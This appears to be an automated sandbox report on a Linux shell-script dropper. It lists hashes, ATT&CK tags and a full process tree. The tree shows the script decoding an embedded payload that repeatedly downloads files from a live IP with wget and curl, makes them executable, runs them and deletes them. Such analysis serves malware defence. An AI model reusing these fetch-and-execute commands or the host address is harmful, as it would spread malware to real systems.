244798ba73f8e1233f1dd1c3151ca7e2f6768e3746b45da98fed968df77f1b0f

Analysis

max time kernel
35s
max time network
37s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
13/09/2026, 17:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75_comment-insertion.sh
Size 832KB
Sample260913-weew8abl8y
SHA256 244798ba73f8e1233f1dd1c3151ca7e2f6768e3746b45da98fed968df77f1b0f
MD5 7e3138eb5868c1cdcb1e4f2c2ed33e57
SHA1 79bc6b9ef2322d8da35158a5add75e044bfe4231
SHA512 838b53001a83879c315f5bd6b1a99a704db719aed494c795927aba2b818a1ca6cbd39b33dbda2657fa646117d697d76fe5075ef9cbc300c29c358fad45fbbe75
SSDEEP 24576:U4Y/f/tir8ZLQbdyUHiw5y3dSkohUv2653DmIfkeC:+/o8ZatHiw5ycMVmKkeC
TLSH
T12A052308F11B8C38ED4E3C8CE49EEBDD192520A28B55E1875A6534AE7E347DC807A75F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
815	chmod
831	chmod
885	chmod
892	chmod
733	chmod
737	chmod
744	chmod
824	chmod
848	chmod
870	chmod
751	chmod
772	chmod
793	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/83af79	738	bash
/tmp/09f349	745	bash
/tmp/29c60c	754	bash
/tmp/78d7b3	773	bash
/tmp/d58ebc	794	bash
/tmp/971c2a	816	bash
/tmp/bbcf8c	825	bash
/tmp/6fdf60	832	bash
/tmp/bc8782	849	bash
/tmp/4dc39a	871	bash
/tmp/32e510	886	bash
/tmp/82e167	893	bash

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
718	base64

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.DY7fhN	ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75_comment-insertion.sh
File opened for modification	/tmp/tmp.aBArLRUEN3/embedded.sh	ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75_comment-insertion.sh
File opened for modification	/tmp/83af79	curl
File opened for modification	/tmp/09f349	curl
File opened for modification	/tmp/29c60c	curl
File opened for modification	/tmp/78d7b3	curl
File opened for modification	/tmp/bbcf8c	curl
File opened for modification	/tmp/6fdf60	curl
File opened for modification	/tmp/d58ebc	curl
File opened for modification	/tmp/971c2a	curl
File opened for modification	/tmp/bc8782	curl
File opened for modification	/tmp/4dc39a	curl
File opened for modification	/tmp/32e510	curl
File opened for modification	/tmp/82e167	curl

/tmp/ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75_comment-insertion.sh
/tmp/ab106f6ec3f5a63ce5d6ca9c2d7ba785348cfa93b68c6f0bb0827fc49011ee75_comment-insertion.sh
1⤵
- Writes file to tmp directory
PID:705
- /bin/mktemp
  mktemp -d
  2⤵
  PID:715
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:718
- /usr/bin/python3
  python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "
  2⤵
  PID:719
- /bin/chmod
  chmod +x /tmp/tmp.aBArLRUEN3/embedded.sh
  2⤵
  - File and Directory Permissions Modification
  PID:733

/bin/bash
bash /tmp/tmp.aBArLRUEN3/embedded.sh
1⤵
- Executes dropped EXE
PID:705
- /usr/bin/wget
  wget http://5.182.210.174/83af79
  2⤵
  PID:734
- /usr/bin/curl
  curl -O http://5.182.210.174/83af79
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:736
- /bin/chmod
  chmod 777 83af79
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/83af79
  ./83af79 bc
  2⤵
  PID:738
- /bin/rm
  rm -rf 83af79
  2⤵
  PID:740
- /bin/rm
  rm -rf 83af79.1
  2⤵
  PID:741
- /usr/bin/wget
  wget http://5.182.210.174/09f349
  2⤵
  PID:742
- /usr/bin/curl
  curl -O http://5.182.210.174/09f349
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:743
- /bin/chmod
  chmod 777 09f349
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/09f349
  ./09f349 bc
  2⤵
  PID:745
- /bin/rm
  rm -rf 09f349
  2⤵
  PID:747
- /bin/rm
  rm -rf 09f349.1
  2⤵
  PID:748
- /usr/bin/wget
  wget http://5.182.210.174/29c60c
  2⤵
  PID:749
- /usr/bin/curl
  curl -O http://5.182.210.174/29c60c
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:750
- /bin/chmod
  chmod 777 29c60c
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/29c60c
  ./29c60c bc
  2⤵
  PID:754
- /bin/rm
  rm -rf 29c60c
  2⤵
  PID:756
- /bin/rm
  rm -rf 29c60c.1
  2⤵
  PID:757
- /usr/bin/wget
  wget http://5.182.210.174/78d7b3
  2⤵
  PID:758
- /usr/bin/curl
  curl -O http://5.182.210.174/78d7b3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:764
- /bin/chmod
  chmod 777 78d7b3
  2⤵
  - File and Directory Permissions Modification
  PID:772
- /tmp/78d7b3
  ./78d7b3 bc
  2⤵
  PID:773
- /bin/rm
  rm -rf 78d7b3
  2⤵
  PID:776
- /bin/rm
  rm -rf 78d7b3.1
  2⤵
  PID:778
- /usr/bin/wget
  wget http://5.182.210.174/d58ebc
  2⤵
  PID:779
- /usr/bin/curl
  curl -O http://5.182.210.174/d58ebc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:784
- /bin/chmod
  chmod 777 d58ebc
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/d58ebc
  ./d58ebc bc
  2⤵
  PID:794
- /bin/rm
  rm -rf d58ebc
  2⤵
  PID:796
- /bin/rm
  rm -rf d58ebc.1
  2⤵
  PID:798
- /usr/bin/wget
  wget http://5.182.210.174/971c2a
  2⤵
  PID:799
- /usr/bin/curl
  curl -O http://5.182.210.174/971c2a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:806
- /bin/chmod
  chmod 777 971c2a
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/971c2a
  ./971c2a bc
  2⤵
  PID:816
- /bin/rm
  rm -rf 971c2a
  2⤵
  PID:819
- /bin/rm
  rm -rf 971c2a.1
  2⤵
  PID:820
- /usr/bin/wget
  wget http://5.182.210.174/bbcf8c
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://5.182.210.174/bbcf8c
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 bbcf8c
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/bbcf8c
  ./bbcf8c bc
  2⤵
  PID:825
- /bin/rm
  rm -rf bbcf8c
  2⤵
  PID:827
- /bin/rm
  rm -rf bbcf8c.1
  2⤵
  PID:828
- /usr/bin/wget
  wget http://5.182.210.174/6fdf60
  2⤵
  PID:829
- /usr/bin/curl
  curl -O http://5.182.210.174/6fdf60
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:830
- /bin/chmod
  chmod 777 6fdf60
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/6fdf60
  ./6fdf60 bc
  2⤵
  PID:832
- /bin/rm
  rm -rf 6fdf60
  2⤵
  PID:834
- /bin/rm
  rm -rf 6fdf60.1
  2⤵
  PID:835
- /usr/bin/wget
  wget http://5.182.210.174/bc8782
  2⤵
  PID:836
- /usr/bin/curl
  curl -O http://5.182.210.174/bc8782
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:839
- /bin/chmod
  chmod 777 bc8782
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/bc8782
  ./bc8782 bc
  2⤵
  PID:849
- /bin/rm
  rm -rf bc8782
  2⤵
  PID:855
- /bin/rm
  rm -rf bc8782.1
  2⤵
  PID:857
- /usr/bin/wget
  wget http://5.182.210.174/4dc39a
  2⤵
  PID:858
- /usr/bin/curl
  curl -O http://5.182.210.174/4dc39a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:863
- /bin/chmod
  chmod 777 4dc39a
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/4dc39a
  ./4dc39a bc
  2⤵
  PID:871
- /bin/rm
  rm -rf 4dc39a
  2⤵
  PID:874
- /bin/rm
  rm -rf 4dc39a.1
  2⤵
  PID:876
- /usr/bin/wget
  wget http://5.182.210.174/32e510
  2⤵
  PID:877
- /usr/bin/curl
  curl -O http://5.182.210.174/32e510
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/chmod
  chmod 777 32e510
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/32e510
  ./32e510 bc
  2⤵
  PID:886
- /bin/rm
  rm -rf 32e510
  2⤵
  PID:888
- /bin/rm
  rm -rf 32e510.1
  2⤵
  PID:889
- /usr/bin/wget
  wget http://5.182.210.174/82e167
  2⤵
  PID:890
- /usr/bin/curl
  curl -O http://5.182.210.174/82e167
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/chmod
  chmod 777 82e167
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/82e167
  ./82e167 bc
  2⤵
  PID:893
- /bin/rm
  rm -rf 82e167
  2⤵
  PID:895
- /bin/rm
  rm -rf 82e167.1
  2⤵
  PID:896

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

83af79

Path /tmp/83af79
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download

sh-thd.DY7fhN

Path /tmp/sh-thd.DY7fhN
Size 827KB
SHA256 297c8af3cf28426c9d6970e4a168c9b48ab33e0411b7ba0d2f3677d0c9295424
MD5 7cf8c2a32470f47ff85e3a847bccac0f
SHA1 967bcbd4e091f84a5de9be8998688b7a19da2b5f
SHA512 55f2ec8bc3de083a5bfcaba53156267df5f619756b850bb21599d9e7ece703cde72fa8d1bbf45fd44375a915c0133a8b743d3a44dd32e0aba61cdeca57b9c957
SSDEEP 24576:UMOPr9a/8xRaPRwqNwybCRD04ghANIsdJpci7Oy0:8e8xyxNwybCacd7cWOy0
TLSH
T1F6052308B51B8C3CED0E3C8CE49AEFDC192520A28B55D1871A6534AE7E747DC847E79E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

embedded.sh

Path /tmp/tmp.aBArLRUEN3/embedded.sh
Size 1KB
SHA256 11e500d6de791d5d02c91d30b657faa96334832b8f84cebcff30701cfcfcbe08
MD5 404a5c5761058792a4d8205b9d5ae743
SHA1 5a2721d6b025a52b70df3a57909a083bf2f9b766
SHA512 a30d9ab78e905fd7c132a05e15127053345286948f932d0793e8c88e15d825e2868973543df1c9dd81d464f2916d1814a6f1d070dabf4c562eddbbfdd27e01c6
TLSH
T14631589E10115A311113CE8FB3A23848A28EE1EB3D6FD7D49D494FEA914838CF172B4A
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads